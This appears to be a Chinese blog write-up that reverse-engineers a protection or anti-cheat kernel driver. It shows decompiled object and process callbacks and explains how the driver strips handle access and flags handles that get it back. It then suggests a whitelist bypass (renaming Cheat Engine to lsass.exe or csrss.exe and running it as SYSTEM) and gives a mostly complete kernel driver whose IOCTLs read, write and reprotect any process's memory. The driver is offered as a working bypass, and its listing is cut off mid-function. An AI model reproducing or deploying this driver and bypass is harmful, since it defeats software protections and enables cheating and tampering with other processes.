void (__fastcall *callback)(_QWORD, POB_PRE_OPERATION_INFORMATION, _QWORD *);

if ( *manager )
{
policyResult = 0;

_InterlockedIncrement((volatile LONG *)(manager + 4));

if ( (dword_140097FB0 & 1) == 0 )
{

word_140097EF0 = 256;
dword_140097FB0 |= 1;
byte_140097EF2 = 0;

sub_140045520(nullsub_21);
}

if ( (unsigned __int8)sub_14002FE60(Information, &policyResult) )
{

memset(contexts, 0, sizeof(contexts));

count = sub_140018FB0(sub_1400135D0(), contexts);

for ( int i = 0; i < count; ++i )
{

apcsDisabled = sub_140019F40(sub_1400135D0());

if ( contexts[i] )
{
callback = *(void (__fastcall **)(_QWORD,
POB_PRE_OPERATION_INFORMATION, _QWORD *))(manager + 16);

if ( callback )

callback(contexts[i], Information, &policyResult);
}

sub_140018F00(sub_1400135D0(), apcsDisabled);
}
}

_InterlockedDecrement((volatile LONG *)(manager + 4));
}

return OB_PREOP_SUCCESS;
}

void __fastcall OBProcessLast(
void *RegistrationContext, POB_POST_OPERATION_INFORMATION Information)
{
_BYTE *manager = (_BYTE *)RegistrationContext;

if ( *manager )
{

_InterlockedIncrement((volatile LONG *)(manager + 4));

if ( (dword_140097FB0 & 1) == 0 )
{

word_140097EF0 = 256;
dword_140097FB0 |= 1;
byte_140097EF2 = 0;

sub_140045520(nullsub_21);
}

sub_14002FD60(Information);

_InterlockedDecrement((volatile LONG *)(manager + 4));
}
}

OB_PREOP_CALLBACK_STATUS __fastcall OBThreadFirst(
void *RegistrationContext, POB_PRE_OPERATION_INFORMATION Information)
{
_BYTE *manager = (_BYTE *)RegistrationContext;

if ( *manager )
{

_InterlockedIncrement((volatile LONG *)(manager + 4));

if ( (dword_140097FB0 & 1) == 0 )
{

word_140097EF0 = 256;
dword_140097FB0 |= 1;
byte_140097EF2 = 0;

sub_140045520(nullsub_21);
}

sub_1400301C0(Information);

_InterlockedDecrement((volatile LONG *)(manager + 4));
}

return OB_PREOP_SUCCESS;
}

void __fastcall OBThreadLast(
void *RegistrationContext, POB_POST_OPERATION_INFORMATION Information)
{
_BYTE *manager = (_BYTE *)RegistrationContext;

if ( *manager )
{

_InterlockedIncrement((volatile LONG *)(manager + 4));

if ( (dword_140097FB0 & 1) == 0 )
{

word_140097EF0 = 256;
dword_140097FB0 |= 1;
byte_140097EF2 = 0;

sub_140045520(nullsub_21);
}

sub_140030100(Information);

_InterlockedDecrement((volatile LONG *)(manager + 4));
}
}

void __fastcall SystemProcessCallback(PEPROCESS Process, HANDLE ProcessId, PPS_CREATE_NOTIFY_INFO CreateInfo)
{
_BYTE *manager;
_QWORD contexts[32];
_QWORD context;
int count;
unsigned __int8 apcsDisabled;
void (__fastcall *contextCallback)(_QWORD, PEPROCESS, HANDLE, PPS_CREATE_NOTIFY_INFO);
void (__fastcall **it)(PEPROCESS, HANDLE, PPS_CREATE_NOTIFY_INFO);
void (__fastcall **end)(PEPROCESS, HANDLE, PPS_CREATE_NOTIFY_INFO);

if ( !*(_BYTE *)sub_14001B5F0() )
return;

manager = (_BYTE *)sub_14001B5F0();

ExAcquireRundownProtection((PEX_RUNDOWN_REF)(manager + 16));

memset(contexts, 0, sizeof(contexts));

count = sub_140018FB0(sub_1400135D0(), contexts);

for ( int i = 0; i < count; ++i )
{

apcsDisabled = sub_140019F40(sub_1400135D0());

context = contexts[i];

if ( context )
{
contextCallback = *(void (__fastcall **)(_QWORD, PEPROCESS, HANDLE, PPS_CREATE_NOTIFY_INFO))(manager + 8);

if ( contextCallback )

contextCallback(context, Process, ProcessId, CreateInfo);
}

sub_140018F00(sub_1400135D0(), apcsDisabled);

PERESOURCE resource = sub_1400135D0();

if ( !CreateInfo && context && MmIsAddressValid((void *)context)

&& *(PEPROCESS *)(context + 0x28) == Process )
{

IoGetCurrentProcess();

PDEVICE_OBJECT device = *(PDEVICE_OBJECT *)((_BYTE *)resource + 0x68);

_QWORD *slots = (_QWORD *)device->DeviceExtension;

unsigned __int8 cleanupLock = sub_140019F80(resource);
for ( unsigned int j = 0; j < 32; ++j )
{

if ( slots[2 * j + 1] == (_QWORD)Process )
{
if ( slots[2 * j] )
{

sub_14001A110(resource, &slots[2 * j]);

ExFreePoolWithTag((void *)slots[2 * j], 0);
}

slots[2 * j] = 0;

slots[2 * j + 1] = 0;
break;
}
}

sub_140018F00(resource, cleanupLock);

sub_140029E90(sub_14001DEF0(), Process);
}
}

sub_140018720(Process, ProcessId, CreateInfo);

ExReleaseRundownProtection((PEX_RUNDOWN_REF)(manager + 16));

if ( *((_BYTE *)sub_140013BD0() + 0x20) )
{
manager = (_BYTE *)sub_14001B5F0();

if ( manager[24] )
{

ExAcquireRundownProtection((PEX_RUNDOWN_REF)(manager + 16));
apcsDisabled = 0;

if ( *(LONG *)(manager + 160) >= 0 )

apcsDisabled = sub_140019F40((PERESOURCE)(manager + 56));

it = *(void (__fastcall ***)(PEPROCESS, HANDLE, PPS_CREATE_NOTIFY_INFO))(manager + 32);

end = *(void (__fastcall ***)(PEPROCESS, HANDLE, PPS_CREATE_NOTIFY_INFO))(manager + 40);

while ( it != end )
{

(*it)(Process, ProcessId, CreateInfo);
++it;
}

if ( *(LONG *)(manager + 160) >= 0 )

sub_140018F00((PERESOURCE)(manager + 56), apcsDisabled);

ExReleaseRundownProtection((PEX_RUNDOWN_REF)(manager + 16));
}
}
}

void __fastcall SystemThreadCallback(HANDLE ProcessId, HANDLE ThreadId, BOOLEAN Create)
{
_BYTE *manager;
_QWORD contexts[32];
_QWORD context;
int count;
unsigned __int8 apcsDisabled;
void (__fastcall *contextCallback)(_QWORD, HANDLE, HANDLE, BOOLEAN);
void (__fastcall **it)(HANDLE, HANDLE, BOOLEAN);
void (__fastcall **end)(HANDLE, HANDLE, BOOLEAN);

if ( !*(_BYTE *)sub_14002CA30() )
return;

manager = (_BYTE *)sub_14002CA30();

ExAcquireRundownProtection((PEX_RUNDOWN_REF)(manager + 16));

memset(contexts, 0, sizeof(contexts));

count = sub_140018FB0(sub_1400135D0(), contexts);

for ( int i = 0; i < count; ++i )
{

apcsDisabled = sub_140019F40(sub_1400135D0());

context = contexts[i];

if ( context )
{
contextCallback = *(void (__fastcall **)(_QWORD, HANDLE, HANDLE, BOOLEAN))(manager + 8);

if ( contextCallback )

contextCallback(context, ProcessId, ThreadId, Create);

if ( (dword_140094DC0 & 1) == 0 )
{
dword_140094DC0 |= 1;

sub_140020880(&unk_140094CF0);

sub_140045520(sub_140047860);
}

_BYTE *timing = (_BYTE *)&unk_140094CF0;

if ( !_InterlockedCompareExchange((volatile LONG *)(timing + 0xC8), 1, 0) )
{

if ( !*(_QWORD *)(timing + 0x28) )
{
*(_QWORD *)(timing + 0x28) = sub_140041880();
}

else if ( (unsigned __int64)(sub_140041880()
- *(_QWORD *)(timing + 0x28)) >= 5000 )
{
*(_QWORD *)(timing + 0x28) = sub_140041880();

if ( !(unsigned __int8)sub_140021080(timing) )
{

LONG bits = *(LONG *)((_BYTE *)sub_14002F360() + 0x14) | 1;
_InterlockedExchange(
(volatile LONG *)((_BYTE *)sub_14002F360() + 0x14), bits);

if ( (dword_140094DC0 & 1) == 0 )
{
dword_140094DC0 |= 1;

sub_140020880(&unk_140094CF0);

sub_140045520(sub_140047860);
}
}
}

_InterlockedExchange((volatile LONG *)(timing + 0xC8), 0);
}
}

sub_140018F00(sub_1400135D0(), apcsDisabled);
}

sub_140015800();

sub_140032BA0(ProcessId, ThreadId, Create);

ExReleaseRundownProtection((PEX_RUNDOWN_REF)(manager + 16));

if ( *((_BYTE *)sub_140013BD0() + 0x20) )
{
manager = (_BYTE *)sub_14002CA30();

if ( manager[24] )
{

ExAcquireRundownProtection((PEX_RUNDOWN_REF)(manager + 16));
apcsDisabled = 0;

if ( *(LONG *)(manager + 160) >= 0 )

apcsDisabled = sub_140019F40((PERESOURCE)(manager + 56));

it = *(void (__fastcall ***)(HANDLE, HANDLE, BOOLEAN))(manager + 32);

end = *(void (__fastcall ***)(HANDLE, HANDLE, BOOLEAN))(manager + 40);

while ( it != end )
{

(*it)(ProcessId, ThreadId, Create);
++it;
}

if ( *(LONG *)(manager + 160) >= 0 )

sub_140018F00((PERESOURCE)(manager + 56), apcsDisabled);

ExReleaseRundownProtection((PEX_RUNDOWN_REF)(manager + 16));
}
}
}

void __fastcall SystemLoadimageCallBack(PUNICODE_STRING FullImageName, HANDLE ProcessId, PIMAGE_INFO ImageInfo)
{
_BYTE *manager;
_QWORD contexts[32];
_QWORD context;
int count;
unsigned __int8 apcsDisabled;
void (__fastcall *contextCallback)(_QWORD, PUNICODE_STRING, HANDLE, PIMAGE_INFO);
void (__fastcall **it)(PUNICODE_STRING, HANDLE, PIMAGE_INFO);
void (__fastcall **end)(PUNICODE_STRING, HANDLE, PIMAGE_INFO);

if ( !*(_BYTE *)sub_14002C9B0() )
return;

manager = (_BYTE *)sub_14002C9B0();

ExAcquireRundownProtection((PEX_RUNDOWN_REF)(manager + 8));

memset(contexts, 0, sizeof(contexts));

count = sub_140018FB0(sub_1400135D0(), contexts);

for ( int i = 0; i < count; ++i )
{

apcsDisabled = sub_140019F40(sub_1400135D0());

context = contexts[i];

if ( context )
{
contextCallback = *(void (__fastcall **)(_QWORD, PUNICODE_STRING, HANDLE, PIMAGE_INFO))(manager + 16);

if ( contextCallback )

contextCallback(context, FullImageName, ProcessId, ImageInfo);
}

sub_140018F00(sub_1400135D0(), apcsDisabled);
}

ExReleaseRundownProtection((PEX_RUNDOWN_REF)(manager + 8));

if ( *((_BYTE *)sub_140013BD0() + 0x20) )
{
manager = (_BYTE *)sub_14002C9B0();

if ( manager[24] )
{

ExAcquireRundownProtection((PEX_RUNDOWN_REF)(manager + 8));
apcsDisabled = 0;

if ( *(LONG *)(manager + 160) >= 0 )

apcsDisabled = sub_140019F40((PERESOURCE)(manager + 56));

it = *(void (__fastcall ***)(PUNICODE_STRING, HANDLE, PIMAGE_INFO))(manager + 32);

end = *(void (__fastcall ***)(PUNICODE_STRING, HANDLE, PIMAGE_INFO))(manager + 40);

while ( it != end )
{

(*it)(FullImageName, ProcessId, ImageInfo);
++it;
}

if ( *(LONG *)(manager + 160) >= 0 )

sub_140018F00((PERESOURCE)(manager + 56), apcsDisabled);

ExReleaseRundownProtection((PEX_RUNDOWN_REF)(manager + 8));
}
}
}

OB进程回调-上篇姿势失效的本质

先说两个OB进程回调吧,第一个First做的核心功能就是削弱降权,核心步骤为:

假设进程 A 要打开进程 B:

  1. 先检查 B 是否受保护(是否位于驱动管理的保护进程表中)。 不受保护,就不削减权限。
  2. 检查 A 是否符合内置系统进程规则。 名称匹配六种系统进程(比如lsass.exe),并通过账户判断,就豁免。
  3. 如果上一步没有放行,再查 A 的名称哈希是否在可配置白名单中。 命中也豁免,白名单可以包含非系统进程。
  4. 两层都没放行,且过滤开关开启,才削减 A 这次申请的句柄权限。

First和Last的OB回调高度都是 310520,它和Last回调还不一样,Last是Post类型,First是Pre类型;

Last的核心功能是:

1
2
3
4
5
if (GrantedAccess & 0xA7A)
{
LONG value = *GetCallbackStatusFlags() | 4;
InterlockedExchange(GetCallbackStatusFlags(), value);
}

检查最终的GrantedAccess是否真的被降权了,如果被恢复了权力,那么就会动一个标志位,或上4,这里就是也许为什么恢复句柄权限后,会被检测到的一个核心点;这个标志位在这个驱动模块内部,是个全局变量;

这里确实涉及到我的知识盲区了,还没深入学习系统回调,不知道OB回调有Pre和Post的区分;

所以这里解释了为什么之前写的那种绕过姿势不太行,之前虽然设置了一上一下的两个OB回调进行恢复权的操作,但都是Pre类型,确实恢复了句柄权限,但是被Post回调检测到了,而我们改Pre的DesiredAccess是真实改变句柄权限,在Post里面改GrantedAccess是没用的,GrantedAccess只是个通知字段,并不有效;

同时First的保护逻辑也有问题,如果把CE改名为csrss.exe或者lsass.exe这种它判断逻辑的白名单进程名,并以SYSTEM权限启动获取对应的SID,也能直接通过正常读写权限的句柄打开;但是目前这种方法貌似也存在判断点,以这种方法打开也会被检测到,这种方法的检测点还尚不清楚;

OB线程回调

线程的First也进行了权限削弱,判断条件分两路,一路是跨进程打开线程句柄,另一路是同进程打开线程句柄;两路都会遭到削权,削弱的幅度不一样;这也就解释了为什么CE里面线程调试功能失效的原因;

不过目前版本的线程Last并没有做和进程一样的处理,即设置异常标志位,用于后续操作,所以理论上,如果不存在其他检测点,那么线程绕过姿势还是可以通过上篇的方式绕过;

全局进程回调

它作用于每个进程创建和销毁时;

销毁时就是把OB设置的保护给撤销了,会操作同一个标志变量,和其他一些垃圾回收,资源清理工作;

创建时会记录创建进程的信息,比如PID和对应父进程PID,以及完整路径等等信息;把记录的信息放入一个共享内存区域;外部模块可以访问,但是这个驱动本身不会对这些记录的进程信息有任何行为;

至于线程回调的逻辑和进程回调的逻辑类似,加载镜像回调也是进行上报无其他特殊业务逻辑,就先不进一步跟踪了;

系统线程

它主要的功能:

  • 看有没有其他驱动碰它关注的进程内存,比如,它关注进程 A,发现某段内核代码访问了 A 的内存,就尝试记下:“哪个线程干的、来自哪个驱动、碰了哪个地址。”
    这里查到的是记录线索,没有看到它在这个部分直接杀掉对方。它也不是每次内存访问都能发现;
  • 它保护的线程是不是被暂停了,尝试让线程继续运行。比如某个受保护线程被挂起,它会尝试恢复,并记录这件事;
  • 看被检查的驱动有没有被别人改过,例如:代码内容变没变;原本应该执行的函数,有没有被换成其他地址;有没有其他驱动接到它的设备上。发现不一致就记录下来;
  • 还会做一些超时和鼠标统计检查;

这个线程主要是监控、记录、通知,维护,以及干预受保护线程,不会主动出击妨碍其他外部进程和驱动模块,也不会去进行杀死保护进程的操作;

下面就是7月份的时候仅通过外部实验,测试出的当时可行的版本;

外部实验通过代码

SYS模块

myMem.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
#include <ntifs.h>
#include <ntddk.h>
#include <ntimage.h>

#define DEVICE_NAME L"\\Device\\MemReader"
#define SYMLINK_NAME L"\\DosDevices\\MemReader"

#ifndef PROCESS_VM_OPERATION
#define PROCESS_VM_OPERATION 0x0008
#endif

#ifndef PROCESS_QUERY_INFORMATION
#define PROCESS_QUERY_INFORMATION 0x0400
#endif

NTKERNELAPI
NTSTATUS NTAPI
MmCopyVirtualMemory(
PEPROCESS SourceProcess,
PVOID SourceAddress,
PEPROCESS TargetProcess,
PVOID TargetAddress,
SIZE_T BufferSize,
KPROCESSOR_MODE PreviousMode,
PSIZE_T ReturnSize
);

NTKERNELAPI
NTSTATUS NTAPI
ZwProtectVirtualMemory(
HANDLE ProcessHandle,
PVOID* BaseAddress,
PSIZE_T NumberOfBytesToProtect,
ULONG NewAccessProtection,
PULONG OldAccessProtection
);

NTKERNELAPI
PVOID NTAPI
PsGetProcessSectionBaseAddress(
PEPROCESS Process
);

NTKERNELAPI
PCHAR NTAPI
PsGetProcessImageFileName(
PEPROCESS Process
);

#define IOCTL_READ_MEMORY \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_WRITE_MEMORY \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_GET_PROCESS_IMAGE \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_ALLOCATE_VIRTUAL_MEMORY \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_FREE_VIRTUAL_MEMORY \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_PROTECT_VIRTUAL_MEMORY \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_QUERY_VIRTUAL_MEMORY \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_BUFFERED, FILE_ANY_ACCESS)

typedef struct _MEMORY_REQUEST
{
ULONG ProcessId;
ULONGLONG Address;
SIZE_T Size;
UCHAR Data[1];
} MEMORY_REQUEST, * PMEMORY_REQUEST;

typedef struct _PROCESS_IMAGE_REQUEST
{
ULONG ProcessId;
ULONGLONG BaseAddress;
ULONG ImageSize;
CHAR ImageName[16];
} PROCESS_IMAGE_REQUEST, * PPROCESS_IMAGE_REQUEST;

typedef struct _VIRTUAL_ALLOC_REQUEST
{
ULONG ProcessId;
ULONGLONG Address;
SIZE_T Size;
ULONG AllocationType;
ULONG Protect;
} VIRTUAL_ALLOC_REQUEST, * PVIRTUAL_ALLOC_REQUEST;

typedef struct _VIRTUAL_FREE_REQUEST
{
ULONG ProcessId;
ULONGLONG Address;
SIZE_T Size;
ULONG FreeType;
} VIRTUAL_FREE_REQUEST, * PVIRTUAL_FREE_REQUEST;

typedef struct _VIRTUAL_PROTECT_REQUEST
{
ULONG ProcessId;
ULONGLONG Address;
SIZE_T Size;
ULONG NewProtect;
ULONG OldProtect;
} VIRTUAL_PROTECT_REQUEST, * PVIRTUAL_PROTECT_REQUEST;

typedef struct _VIRTUAL_QUERY_REQUEST
{
ULONG ProcessId;
ULONGLONG Address;

ULONGLONG BaseAddress;
ULONGLONG AllocationBase;
ULONG AllocationProtect;
SIZE_T RegionSize;
ULONG State;
ULONG Protect;
ULONG Type;
} VIRTUAL_QUERY_REQUEST, * PVIRTUAL_QUERY_REQUEST;

PDEVICE_OBJECT g_DeviceObject = NULL;

NTSTATUS OpenProcessById(
ULONG pid,
ACCESS_MASK desiredAccess,
PHANDLE processHandle
)
{
OBJECT_ATTRIBUTES objectAttributes;
CLIENT_ID clientId;

if (pid == 0 || processHandle == NULL)
{
return STATUS_INVALID_PARAMETER;
}

*processHandle = NULL;

InitializeObjectAttributes(
&objectAttributes,
NULL,
OBJ_KERNEL_HANDLE,
NULL,
NULL
);

clientId.UniqueProcess =
(HANDLE)(ULONG_PTR)pid;

clientId.UniqueThread = NULL;

return ZwOpenProcess(
processHandle,
desiredAccess,
&objectAttributes,
&clientId
);
}

NTSTATUS KernelReadMemory(
ULONG pid,
PVOID address,
PVOID buffer,
SIZE_T size,
PSIZE_T readSize
)
{
PEPROCESS process = NULL;
NTSTATUS status;

if (readSize)
{
*readSize = 0;
}

if (pid == 0 ||
address == NULL ||
buffer == NULL ||
size == 0 ||
readSize == NULL)
{
return STATUS_INVALID_PARAMETER;
}

status = PsLookupProcessByProcessId(
(HANDLE)(ULONG_PTR)pid,
&process
);

if (!NT_SUCCESS(status))
{
return status;
}

status = MmCopyVirtualMemory(
process,
address,
PsGetCurrentProcess(),
buffer,
size,
KernelMode,
readSize
);

ObDereferenceObject(process);
return status;
}

NTSTATUS KernelWriteMemory(
ULONG pid,
PVOID address,
PVOID buffer,
SIZE_T size,
PSIZE_T writeSize
)
{
PEPROCESS process = NULL;
HANDLE processHandle = NULL;

PVOID protectBase = address;
SIZE_T protectSize = size;
ULONG oldProtect = 0;
SIZE_T written = 0;
NTSTATUS status;

if (writeSize)
{
*writeSize = 0;
}

if (pid == 0 ||
address == NULL ||
buffer == NULL ||
size == 0 ||
writeSize == NULL)
{
return STATUS_INVALID_PARAMETER;
}

status = PsLookupProcessByProcessId(
(HANDLE)(ULONG_PTR)pid,
&process
);

if (!NT_SUCCESS(status))
{
return status;
}

status = OpenProcessById(
pid,
PROCESS_VM_OPERATION,
&processHandle
);

if (!NT_SUCCESS(status))
{
ObDereferenceObject(process);
return status;
}

status = ZwProtectVirtualMemory(
processHandle,
&protectBase,
&protectSize,
PAGE_EXECUTE_READWRITE,
&oldProtect
);

if (status == STATUS_INVALID_PAGE_PROTECTION)
{
protectBase = address;
protectSize = size;
oldProtect = 0;

status = ZwProtectVirtualMemory(
processHandle,
&protectBase,
&protectSize,
PAGE_READWRITE,
&oldProtect
);
}

if (NT_SUCCESS(status))
{
status = MmCopyVirtualMemory(
PsGetCurrentProcess(),
buffer,
process,
address,
size,
KernelMode,
&written
);

{
PVOID restoreBase = protectBase;
SIZE_T restoreSize = protectSize;
ULONG ignoredProtect = 0;

ZwProtectVirtualMemory(
processHandle,
&restoreBase,
&restoreSize,
oldProtect,
&ignoredProtect
);
}

if (NT_SUCCESS(status) &&
written != size)
{
status = STATUS_PARTIAL_COPY;
}
}

if (NT_SUCCESS(status))
{
*writeSize = written;
}

ZwClose(processHandle);
ObDereferenceObject(process);

return status;
}

NTSTATUS KernelAllocateVirtualMemory(
ULONG pid,
PULONGLONG address,
PSIZE_T size,
ULONG allocationType,
ULONG protect
)
{
HANDLE processHandle = NULL;
PVOID baseAddress;
SIZE_T regionSize;
NTSTATUS status;

if (pid == 0 ||
address == NULL ||
size == NULL ||
*size == 0)
{
return STATUS_INVALID_PARAMETER;
}

status = OpenProcessById(
pid,
PROCESS_VM_OPERATION,
&processHandle
);

if (!NT_SUCCESS(status))
{
return status;
}

baseAddress =
(PVOID)(ULONG_PTR)(*address);

regionSize = *size;

status = ZwAllocateVirtualMemory(
processHandle,
&baseAddress,
0,
&regionSize,
allocationType,
protect
);

if (NT_SUCCESS(status))
{
*address =
(ULONGLONG)(ULONG_PTR)baseAddress;

*size = regionSize;
}

ZwClose(processHandle);
return status;
}

NTSTATUS KernelFreeVirtualMemory(
ULONG pid,
PULONGLONG address,
PSIZE_T size,
ULONG freeType
)
{
HANDLE processHandle = NULL;
PVOID baseAddress;
SIZE_T regionSize;
NTSTATUS status;

if (pid == 0 ||
address == NULL ||
*address == 0 ||
size == NULL)
{
return STATUS_INVALID_PARAMETER;
}

status = OpenProcessById(
pid,
PROCESS_VM_OPERATION,
&processHandle
);

if (!NT_SUCCESS(status))
{
return status;
}

baseAddress =
(PVOID)(ULONG_PTR)(*address);

regionSize = *size;

status = ZwFreeVirtualMemory(
processHandle,
&baseAddress,
&regionSize,
freeType
);

if (NT_SUCCESS(status))
{
*address =
(ULONGLONG)(ULONG_PTR)baseAddress;

*size = regionSize;
}

ZwClose(processHandle);
return status;
}

NTSTATUS KernelProtectVirtualMemory(
ULONG pid,
PULONGLONG address,
PSIZE_T size,
ULONG newProtect,
PULONG oldProtect
)
{
HANDLE processHandle = NULL;
PVOID baseAddress;
SIZE_T regionSize;
NTSTATUS status;

if (pid == 0 ||
address == NULL ||
*address == 0 ||
size == NULL ||
*size == 0 ||
oldProtect == NULL)
{
return STATUS_INVALID_PARAMETER;
}

*oldProtect = 0;

status = OpenProcessById(
pid,
PROCESS_VM_OPERATION,
&processHandle
);

if (!NT_SUCCESS(status))
{
return status;
}

baseAddress =
(PVOID)(ULONG_PTR)(*address);

regionSize = *size;

status = ZwProtectVirtualMemory(
processHandle,
&baseAddress,
&regionSize,
newProtect,
oldProtect
);

if (NT_SUCCESS(status))
{
*address =
(ULONGLONG)(ULONG_PTR)baseAddress;

*size = regionSize;
}

ZwClose(processHandle);
return status;
}

NTSTATUS KernelQueryVirtualMemory(
ULONG pid,
ULONGLONG address,
PMEMORY_BASIC_INFORMATION information
)
{
HANDLE processHandle = NULL;
SIZE_T returnedLength = 0;
NTSTATUS status;

if (pid == 0 || information == NULL)
{
return STATUS_INVALID_PARAMETER;
}

RtlZeroMemory(
information,
sizeof(*information)
);

status = OpenProcessById(
pid,
PROCESS_QUERY_INFORMATION,
&processHandle
);

if (!NT_SUCCESS(status))
{
return status;
}

status = ZwQueryVirtualMemory(
processHandle,
(PVOID)(ULONG_PTR)address,
MemoryBasicInformation,
information,
sizeof(*information),
&returnedLength
);

ZwClose(processHandle);
return status;
}

NTSTATUS KernelGetProcessImage(
ULONG pid,
PULONGLONG baseAddress,
PULONG imageSize,
PCHAR imageName,
SIZE_T imageNameLength
)
{
PEPROCESS process = NULL;
PVOID imageBase;
PCHAR processName;

IMAGE_DOS_HEADER dosHeader;
IMAGE_NT_HEADERS64 ntHeaders;

SIZE_T bytesRead = 0;
SIZE_T index;
NTSTATUS status;

if (pid == 0 ||
baseAddress == NULL ||
imageSize == NULL ||
imageName == NULL ||
imageNameLength == 0)
{
return STATUS_INVALID_PARAMETER;
}

*baseAddress = 0;
*imageSize = 0;

RtlZeroMemory(
imageName,
imageNameLength
);

status = PsLookupProcessByProcessId(
(HANDLE)(ULONG_PTR)pid,
&process
);

if (!NT_SUCCESS(status))
{
return status;
}

imageBase =
PsGetProcessSectionBaseAddress(process);

if (imageBase == NULL)
{
ObDereferenceObject(process);
return STATUS_NOT_FOUND;
}

*baseAddress =
(ULONGLONG)(ULONG_PTR)imageBase;

processName =
PsGetProcessImageFileName(process);

if (processName != NULL)
{
__try
{
for (index = 0;
index + 1 < imageNameLength &&
processName[index] != '\0';
++index)
{
imageName[index] =
processName[index];
}

imageName[index] = '\0';
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
RtlZeroMemory(
imageName,
imageNameLength
);
}
}

status = KernelReadMemory(
pid,
imageBase,
&dosHeader,
sizeof(dosHeader),
&bytesRead
);

if (!NT_SUCCESS(status) ||
bytesRead != sizeof(dosHeader) ||
dosHeader.e_magic != IMAGE_DOS_SIGNATURE ||
dosHeader.e_lfanew <= 0 ||
dosHeader.e_lfanew > 0x100000)
{
ObDereferenceObject(process);

return NT_SUCCESS(status)
